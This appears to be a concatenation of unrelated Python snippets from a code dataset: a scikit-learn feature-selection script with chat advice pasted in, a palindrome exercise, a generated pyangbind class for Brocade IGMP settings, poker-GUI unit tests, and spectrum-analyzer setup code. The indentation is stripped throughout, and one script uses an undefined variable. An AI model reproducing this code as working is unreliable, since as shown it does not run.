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import numpy as np
import matplotlib.pyplot as plt
from sklearn import datasets, svm
from sklearn.feature_selection import SelectPercentile, f_classif
# http://scikit-learn.org/stable/modules/feature_selection.html
# #############################################################################
# Univariate feature selection with F-test for feature scoring
# We use the default selection function: the 10% most significant features
# NOTE: F-test assumes normal distribution of data and cannot be used in
# binary data
# https://en.wikipedia.org/wiki/F-test
# calculating correlations between data and target only tells me that there
# is no linear relationship, not that there is no information given by the
# data
# I guess the problem would be similar using ANOVA f-tests
#
# hugo.lopes 3:11 PM
# @hcastilho you can use several feature selection algorithms that helps you determine if there is _something there_ but use them with caution. You can use chi-squared test for categorical variables
# 3:11
# kruskal-wallis for numericals
# 3:11
# and check the p-value of these tests
# 3:12
# however, these tests generally fail when your data is not linear
# 3:12
# for non-linearity you can use mutual information, which is related with entropy
# 3:12
# http://scikit-learn.org/stable/modules/generated/sklearn.feature_selection.mutual_info_classif.html -> for classification problems
# 3:13
# these type of algorithms, I would use when we have a lot of features and we want to reduce our dimensionality space
# 3:15
# you could also use Random forests or Gradient Boosting and remove iteratively the less important feature. However, there are also limitations on this strategy. For instance, you should really understand the meaning of the "feature importance" in those algorithms and be careful with correlated features
X = dataset.drop(['target'], axis=1)
y = dataset['target']
selector = SelectPercentile(f_classif, percentile=10)
selector.fit(X, y)
# Remove zeros
zero_idx = [idx for idx, value in enumerate(selector.pvalues_) if value == 0.0]
scores = [value for value in selector.pvalues_ if value != 0.0]
print(X.columns[zero_idx])
X = X.drop(X.columns[zero_idx], axis=1)
res = sorted(zip(scores, X.columns), key=lambda x: x[0])
X_indices = np.arange(X.shape[-1])
plt.bar(X_indices - .45, scores, width=.2,
label=r'Univariate score ($-Log(p_{value})$)', color='darkorange',
edgecolor='black')
plt.show()
|
nilq/baby-python
|
python
|
#Enter a number and identify whether it is palindrome or not.
n=int(input("Enter a no.:"))
n1=n2=n
count=0
temp=0
ans=0
while n!=0:
n=n//10
count=count+1
#print("count=",count)
count=count-1
while n1!=0:
temp=n1%10
n1=n1//10
ans=ans+(10**count)*temp
count=count-1
#print("ans=",ans)
if ans==n2:
print("The input number is palindrome no.")
else:
print("The input number is not palindrome no.")
|
nilq/baby-python
|
python
|
from operator import attrgetter
import pyangbind.lib.xpathhelper as xpathhelper
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType
from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType
from pyangbind.lib.base import PybindBase
from decimal import Decimal
from bitarray import bitarray
import __builtin__
import ve_igmpl3_static_group
class igmp(PybindBase):
"""
This class was auto-generated by the PythonClass plugin for PYANG
from YANG module brocade-common-def - based on the path /routing-system/interface/ve/ip/igmp. Each member element of
the container is represented as a class variable - with a specific
YANG type.
"""
__slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__igmpl3_last_member_query_interval','__igmpl3_query_interval','__igmpl3_query_max_response_time','__igmpl3_immediate_leave','__igmpl3_version','__ve_igmpl3_static_group',)
_yang_name = 'igmp'
_rest_name = 'igmp'
_pybind_generated_by = 'container'
def __init__(self, *args, **kwargs):
path_helper_ = kwargs.pop("path_helper", None)
if path_helper_ is False:
self._path_helper = False
elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper):
self._path_helper = path_helper_
elif hasattr(self, "_parent"):
path_helper_ = getattr(self._parent, "_path_helper", False)
self._path_helper = path_helper_
else:
self._path_helper = False
extmethods = kwargs.pop("extmethods", None)
if extmethods is False:
self._extmethods = False
elif extmethods is not None and isinstance(extmethods, dict):
self._extmethods = extmethods
elif hasattr(self, "_parent"):
extmethods = getattr(self._parent, "_extmethods", None)
self._extmethods = extmethods
else:
self._extmethods = False
self.__igmpl3_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True)
self.__igmpl3_query_max_response_time = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True)
self.__igmpl3_version = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True)
self.__igmpl3_immediate_leave = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True)
self.__ve_igmpl3_static_group = YANGDynClass(base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True)
self.__igmpl3_last_member_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True)
load = kwargs.pop("load", None)
if args:
if len(args) > 1:
raise TypeError("cannot create a YANG container with >1 argument")
all_attr = True
for e in self._pyangbind_elements:
if not hasattr(args[0], e):
all_attr = False
break
if not all_attr:
raise ValueError("Supplied object did not have the correct attributes")
for e in self._pyangbind_elements:
nobj = getattr(args[0], e)
if nobj._changed() is False:
continue
setmethod = getattr(self, "_set_%s" % e)
if load is None:
setmethod(getattr(args[0], e))
else:
setmethod(getattr(args[0], e), load=load)
def _path(self):
if hasattr(self, "_parent"):
return self._parent._path()+[self._yang_name]
else:
return [u'routing-system', u'interface', u've', u'ip', u'igmp']
def _rest_path(self):
if hasattr(self, "_parent"):
if self._rest_name:
return self._parent._rest_path()+[self._rest_name]
else:
return self._parent._rest_path()
else:
return [u'interface', u'Ve', u'ip', u'igmp']
def _get_igmpl3_last_member_query_interval(self):
"""
Getter method for igmpl3_last_member_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_last_member_query_interval (igmp-snooping:lmqt-type)
"""
return self.__igmpl3_last_member_query_interval
def _set_igmpl3_last_member_query_interval(self, v, load=False):
"""
Setter method for igmpl3_last_member_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_last_member_query_interval (igmp-snooping:lmqt-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_igmpl3_last_member_query_interval is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_igmpl3_last_member_query_interval() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """igmpl3_last_member_query_interval must be of a type compatible with igmp-snooping:lmqt-type""",
'defined-type': "igmp-snooping:lmqt-type",
'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True)""",
})
self.__igmpl3_last_member_query_interval = t
if hasattr(self, '_set'):
self._set()
def _unset_igmpl3_last_member_query_interval(self):
self.__igmpl3_last_member_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True)
def _get_igmpl3_query_interval(self):
"""
Getter method for igmpl3_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_interval (igmp-snooping:qi-type)
"""
return self.__igmpl3_query_interval
def _set_igmpl3_query_interval(self, v, load=False):
"""
Setter method for igmpl3_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_interval (igmp-snooping:qi-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_igmpl3_query_interval is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_igmpl3_query_interval() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """igmpl3_query_interval must be of a type compatible with igmp-snooping:qi-type""",
'defined-type': "igmp-snooping:qi-type",
'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True)""",
})
self.__igmpl3_query_interval = t
if hasattr(self, '_set'):
self._set()
def _unset_igmpl3_query_interval(self):
self.__igmpl3_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True)
def _get_igmpl3_query_max_response_time(self):
"""
Getter method for igmpl3_query_max_response_time, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_max_response_time (igmp-snooping:qmrt-type)
"""
return self.__igmpl3_query_max_response_time
def _set_igmpl3_query_max_response_time(self, v, load=False):
"""
Setter method for igmpl3_query_max_response_time, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_max_response_time (igmp-snooping:qmrt-type)
If this variable is read-only (config: false) in the
source YANG file, then _set_igmpl3_query_max_response_time is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_igmpl3_query_max_response_time() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """igmpl3_query_max_response_time must be of a type compatible with igmp-snooping:qmrt-type""",
'defined-type': "igmp-snooping:qmrt-type",
'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True)""",
})
self.__igmpl3_query_max_response_time = t
if hasattr(self, '_set'):
self._set()
def _unset_igmpl3_query_max_response_time(self):
self.__igmpl3_query_max_response_time = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True)
def _get_igmpl3_immediate_leave(self):
"""
Getter method for igmpl3_immediate_leave, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_immediate_leave (empty)
"""
return self.__igmpl3_immediate_leave
def _set_igmpl3_immediate_leave(self, v, load=False):
"""
Setter method for igmpl3_immediate_leave, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_immediate_leave (empty)
If this variable is read-only (config: false) in the
source YANG file, then _set_igmpl3_immediate_leave is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_igmpl3_immediate_leave() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """igmpl3_immediate_leave must be of a type compatible with empty""",
'defined-type': "empty",
'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True)""",
})
self.__igmpl3_immediate_leave = t
if hasattr(self, '_set'):
self._set()
def _unset_igmpl3_immediate_leave(self):
self.__igmpl3_immediate_leave = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True)
def _get_igmpl3_version(self):
"""
Getter method for igmpl3_version, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_version (uint32)
"""
return self.__igmpl3_version
def _set_igmpl3_version(self, v, load=False):
"""
Setter method for igmpl3_version, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_version (uint32)
If this variable is read-only (config: false) in the
source YANG file, then _set_igmpl3_version is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_igmpl3_version() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """igmpl3_version must be of a type compatible with uint32""",
'defined-type': "uint32",
'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True)""",
})
self.__igmpl3_version = t
if hasattr(self, '_set'):
self._set()
def _unset_igmpl3_version(self):
self.__igmpl3_version = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True)
def _get_ve_igmpl3_static_group(self):
"""
Getter method for ve_igmpl3_static_group, mapped from YANG variable /routing_system/interface/ve/ip/igmp/ve_igmpl3_static_group (list)
"""
return self.__ve_igmpl3_static_group
def _set_ve_igmpl3_static_group(self, v, load=False):
"""
Setter method for ve_igmpl3_static_group, mapped from YANG variable /routing_system/interface/ve/ip/igmp/ve_igmpl3_static_group (list)
If this variable is read-only (config: false) in the
source YANG file, then _set_ve_igmpl3_static_group is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_ve_igmpl3_static_group() directly.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(v,base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True)
except (TypeError, ValueError):
raise ValueError({
'error-string': """ve_igmpl3_static_group must be of a type compatible with list""",
'defined-type': "list",
'generated-type': """YANGDynClass(base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True)""",
})
self.__ve_igmpl3_static_group = t
if hasattr(self, '_set'):
self._set()
def _unset_ve_igmpl3_static_group(self):
self.__ve_igmpl3_static_group = YANGDynClass(base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True)
igmpl3_last_member_query_interval = __builtin__.property(_get_igmpl3_last_member_query_interval, _set_igmpl3_last_member_query_interval)
igmpl3_query_interval = __builtin__.property(_get_igmpl3_query_interval, _set_igmpl3_query_interval)
igmpl3_query_max_response_time = __builtin__.property(_get_igmpl3_query_max_response_time, _set_igmpl3_query_max_response_time)
igmpl3_immediate_leave = __builtin__.property(_get_igmpl3_immediate_leave, _set_igmpl3_immediate_leave)
igmpl3_version = __builtin__.property(_get_igmpl3_version, _set_igmpl3_version)
ve_igmpl3_static_group = __builtin__.property(_get_ve_igmpl3_static_group, _set_ve_igmpl3_static_group)
_pyangbind_elements = {'igmpl3_last_member_query_interval': igmpl3_last_member_query_interval, 'igmpl3_query_interval': igmpl3_query_interval, 'igmpl3_query_max_response_time': igmpl3_query_max_response_time, 'igmpl3_immediate_leave': igmpl3_immediate_leave, 'igmpl3_version': igmpl3_version, 've_igmpl3_static_group': ve_igmpl3_static_group, }
|
nilq/baby-python
|
python
|
import os
from mock import Mock
from mock import patch
from tests.base_unittest import BaseUnitTest
from aceonrivergui.server.game_manager import GameManager
import aceonrivergui.server.message_manager as MM
class MessageManagerTest(BaseUnitTest):
def test_broadcast_config_update(self):
uuids = ["hoge", "fuga"]
sockets = [gen_mock_socket(uuid) for uuid in uuids]
with patch(
'aceonrivergui.server.message_manager._gen_config_update_message',
side_effect=lambda x, y, uuid: "config_update:%s" % uuid):
MM.broadcast_config_update("handler", GameManager(), sockets)
for soc, uuid in zip(sockets, uuids):
expected = "config_update:%s" % uuid
self.eq(expected, soc.write_message.call_args_list[0][0][0])
def test_broadcast_start_game(self):
uuids = ["hoge", "fuga"]
sockets = [gen_mock_socket(uuid) for uuid in uuids]
gm = setup_game_manager(uuids)
with patch(
'aceonrivergui.server.message_manager._gen_start_game_message',
side_effect=lambda x, y, uuid: "start_game:%s" % uuid):
MM.broadcast_start_game("handler", gm, sockets)
for soc, uuid in zip(sockets, uuids):
expected = "start_game:%s" % uuid
self.eq(expected, soc.write_message.call_args_list[0][0][0])
for uuid, player in gm.ai_players.items():
self.eq(uuid, player.uuid)
self.eq(3, player.game_info["player_num"])
self.eq(10, player.game_info["rule"]["small_blind_amount"])
self.eq(100, player.game_info["rule"]["initial_stack"])
for player in player.game_info["seats"]:
self.eq(100, player["stack"])
def test_broadcast_update_game(self):
uuids = ["hoge", "fuga"]
sockets = [gen_mock_socket(uuid) for uuid in uuids]
gm = setup_game_manager(uuids)
list(gm.ai_players.values())[0].debug_message = None
gm.update_game("fold", 0)
with patch(
'aceonrivergui.server.message_manager._gen_game_update_message',
return_value="update_game"),\
patch(
'aceonrivergui.server.message_manager._broadcast_message_to_ai',
side_effect=self._append_log_on_player):
MM.broadcast_update_game("handler", gm, sockets, mode="dev")
for soc, uuid in zip(sockets, uuids):
expected = "update_game"
self.eq(expected, soc.write_message.call_args_list[0][0][0])
for player in gm.ai_players.values():
self.assertIsNotNone(player.debug_message)
def _append_log_on_player(self, player, message):
player.debug_message = message
ai_setup_script_path = os.path.join(os.path.dirname(__file__), "sample_ai_setup_script.py")
def gen_mock_socket(uuid):
soc = Mock()
soc.uuid = uuid
return soc
def setup_game_manager(uuids):
gm = GameManager()
gm.define_rule(10, 100, 10, 5, None)
for uuid in uuids:
gm.join_human_player("name", uuid)
gm.join_ai_player("ai", ai_setup_script_path)
gm.start_game()
return gm
def find_socket_by_uuid(sockets, uuid):
for soc in sockets:
if soc.uuid == uuid:
return soc
|
nilq/baby-python
|
python
|
import qt
import numpy as np
import os
import shutil
import sys
import progressbar
from constants import *
fsv = qt.instruments.create('FSV', 'RhodeSchwartz_FSV', address = FSV_ADDRESS)
## FSV parameters
center_frequency = 6018.416185*MHz
span = 2000*Hz
RBW = 10*Hz
numpoints = 501
ref_level = -70 #dBm
trs = 10
# Prepare FSV
fsv.set_centerfrequency(center_frequency)
fsv.set_span(span)
